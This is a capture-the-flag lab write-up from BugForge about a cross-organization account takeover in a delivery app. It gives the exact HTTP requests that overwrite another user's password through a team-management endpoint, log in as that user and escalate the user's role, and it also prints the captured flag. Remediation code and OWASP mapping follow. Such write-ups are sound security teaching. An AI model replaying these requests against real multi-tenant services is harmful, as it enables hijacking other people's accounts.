Galaxy Dash: Cross-Org User Hijacking
Overview
- Platform: BugForge
- Vulnerability: Broken Access Control — Cross-Organization User Hijacking, Broken Object-Level Authorization on Permission Updates
- Key Technique: Adding an existing user from another org via
POST /api/team, which overwrites their credentials and pulls them into the attacker’s org - Result: Full account takeover of target user
walt, flag captured from login response
Objective
Compromise target user walt on a Futurama-themed intergalactic B2B delivery platform (Galaxy Dash). The flag is returned in the login response when authenticating as walt.
Initial Access
# Target Application
URL: https://lab-1774738563184-bgoz3k.labs-app.bugforge.io
# Auth — self-registered org_admin
Username: haxor
Organization ID: 4 (attacker-controlled)
Key Findings
-
Cross-Org User Hijacking via Team Management (CWE-284: Improper Access Control, CWE-639: Authorization Bypass Through User-Controlled Key) —
POST /api/teamaccepts any existing username and overwrites their email/password, pulling them into the attacker’s organization. No org boundary validation. -
Broken Access Control on Team Permission Updates (CWE-639: Authorization Bypass Through User-Controlled Key) —
PUT /api/team/:iduses numeric user IDs with no organization scoping. Any org_admin can modify permissions for users outside their org.
Attack Chain Visualization
┌──────────────┐ POST /api/register ┌─────────────────┐
│ Attacker │────────────────────────────▶│ New Org (id:4) │
│ │ org_admin JWT │ user: haxor │
└──────┬───────┘ └─────────────────┘
│
│ POST /api/team
│ {"username":"walt", "password":"attacker_pw", ...}
▼
┌──────────────────────────────────────────────────────────┐
│ Server: finds existing user walt (id:2) │
│ → Overwrites walt's email + password │
│ → Moves walt into org 4 (attacker's org) │
│ → Returns: {"id":2,"message":"Team member added..."} │
└──────────────────────────────────┬───────────────────────┘
│
┌───────────────────────────┘
│ POST /api/login
│ {"username":"walt", "password":"attacker_pw"}
▼
┌──────────────────────────────────────────────────────────┐
│ Server returns walt's JWT + flag │
│ bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx} │
└──────────────────────────────────────────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React SPA | Futurama-themed delivery dashboard |
| Backend | Express (Node.js) | REST API with JWT auth |
| Database | SQLite (likely) | User, org, booking, invoice storage |
| Auth | JWT HS256 | Claims: {id, username, organizationId, iat} — no expiry |
| CORS | Access-Control-Allow-Origin: * |
Permissive cross-origin policy |
Exploitation Path
Step 1: Reconnaissance — Mapping the API Surface
Registered a new organization and mapped all API endpoints via the React SPA’s network traffic. Key observations:
- JWT payload contains
organizationIdused for server-side scoping - Team management endpoints operate on usernames (add/delete) and numeric IDs (permission update)
- No token expiry — JWTs valid indefinitely
- Roles:
org_admin(full access),viewer(read-only) - Granular permissions:
can_view_deliveries,can_create_deliveries,can_edit_deliveries,can_manage_team,can_manage_org
Step 2: Cross-Org User Hijacking via POST /api/team
The team member creation endpoint accepts a username, email, password, role, and permissions. The critical flaw: it does not check whether the username already exists in another organization.
Request:
POST /api/team HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
{
"username": "walt",
"email": "pwned@attacker.com",
"password": "attacker_pw",
"full_name": "",
"role": "viewer",
"permissions": {
"can_view_deliveries": true,
"can_create_deliveries": false,
"can_edit_deliveries": false,
"can_manage_team": false,
"can_manage_org": false
}
}
Response:
{"id": 2, "message": "Team member added successfully"}
Three boundaries broken in a single request:
- Cross-org access — attacker’s JWT (org 4) targeting user in org 1
- Credential overwrite — existing user’s password and email replaced
- No ownership validation — server finds user by username globally, not scoped to org
Step 3: Login as Hijacked User
With walt’s credentials now set to attacker-controlled values:
POST /api/login HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Content-Type: application/json
{
"username": "walt",
"password": "attacker_pw"
}
The response included walt’s JWT and the flag in the response body.
Step 4: Permission Escalation (Bonus)
After hijacking walt, escalated his role to org_admin using the numeric ID returned in Step 2:
PUT /api/team/2 HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer <haxor_jwt>
Content-Type: application/json
{
"role": "org_admin",
"permissions": {
"can_view_deliveries": true,
"can_create_deliveries": true,
"can_edit_deliveries": true,
"can_manage_team": true,
"can_manage_org": true
}
}
This succeeded — the endpoint uses numeric user IDs with no org boundary check.
Flag / Objective Achieved
bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx}
Returned in POST /api/login response body after authenticating as hijacked user walt.
Key Learnings
- Team management endpoints are high-value targets — they often operate on usernames or IDs that may reference users across organizational boundaries
- “Add member” flows that accept usernames are dangerous — if the server resolves the username globally instead of within the calling org’s scope, cross-org access is trivial
- Credential overwrite on existing users is catastrophic — the endpoint should reject the request if the user already exists, not silently update their credentials
- Sequential numeric IDs without org scoping —
PUT /api/team/:idusing user ID 2 worked regardless of the caller’s org, indicating object-level authorization is missing - No JWT expiry combined with account takeover means persistence — stolen sessions remain valid indefinitely
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| N/A — first hypothesis succeeded | — | — |
The initial hypothesis (cross-org user hijacking via team management) was the correct vector. No dead ends encountered.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy for intercepting/replaying requests |
| Firefox | Browser interaction with React SPA |
| curl | Request reproduction and evidence capture |
Remediation
1. Cross-Org User Hijacking (CVSS 9.8 — Critical)
Issue: POST /api/team resolves usernames globally and overwrites credentials on existing users, enabling full account takeover across organization boundaries.
CWE References:
- CWE-284: Improper Access Control
- CWE-639: Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
app.post('/api/team', async (req, res) => {
const { username, email, password, role, permissions } = req.body;
const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
if (existingUser) {
// BUG: Updates existing user's credentials and org membership
await db.run('UPDATE users SET email = ?, password = ?, organization_id = ? WHERE username = ?',
email, hashedPassword, req.user.organizationId, username);
return res.json({ id: existingUser.id, message: 'Team member added successfully' });
}
// ... create new user
});
// AFTER (Secure)
app.post('/api/team', async (req, res) => {
const { username, email, password, role, permissions } = req.body;
const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
if (existingUser) {
// Reject if user exists — never overwrite credentials
return res.status(409).json({ error: 'Username already taken' });
}
// Create new user scoped to the caller's org
const newUser = await db.run(
'INSERT INTO users (username, email, password, organization_id, role) VALUES (?, ?, ?, ?, ?)',
username, email, hashedPassword, req.user.organizationId, role
);
return res.status(201).json({ id: newUser.lastID, message: 'Team member created' });
});
2. Broken Object-Level Authorization on Permission Updates (CVSS 8.1 — High)
Issue: PUT /api/team/:id accepts a numeric user ID with no validation that the target user belongs to the calling user’s organization.
CWE Reference: CWE-639: Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
app.put('/api/team/:id', async (req, res) => {
const { role, permissions } = req.body;
await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
// No org check — any user ID is accepted
});
// AFTER (Secure)
app.put('/api/team/:id', async (req, res) => {
const { role, permissions } = req.body;
const targetUser = await db.get(
'SELECT * FROM users WHERE id = ? AND organization_id = ?',
req.params.id, req.user.organizationId
);
if (!targetUser) {
return res.status(404).json({ error: 'User not found in your organization' });
}
await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
});
Additional Recommendations
- Add JWT expiry — current tokens have no
expclaim, allowing indefinite session persistence - Restrict CORS —
Access-Control-Allow-Origin: *allows any origin to make authenticated requests - Use UUIDs instead of sequential IDs — reduces enumeration risk on team, booking, and invoice endpoints
- Audit unconfirmed vectors — IDOR on bookings/invoices and client-side price trust are likely vulnerable given the pattern
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control — Primary finding. Cross-org user hijacking, missing org boundary validation on team management, and object-level authorization bypass on permission updates
- A07:2021 — Identification and Authentication Failures — Credential overwrite on existing users, JWTs with no expiry
- A05:2021 — Security Misconfiguration — Permissive CORS (
Access-Control-Allow-Origin: *)
References
- OWASP Broken Access Control
- CWE-284: Improper Access Control
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP API Security — BOLA
Tags: #broken-access-control #IDOR #account-takeover #cross-org #JWT #BugForge #webapp
Document Version: 1.0
Last Updated: 2026-03-28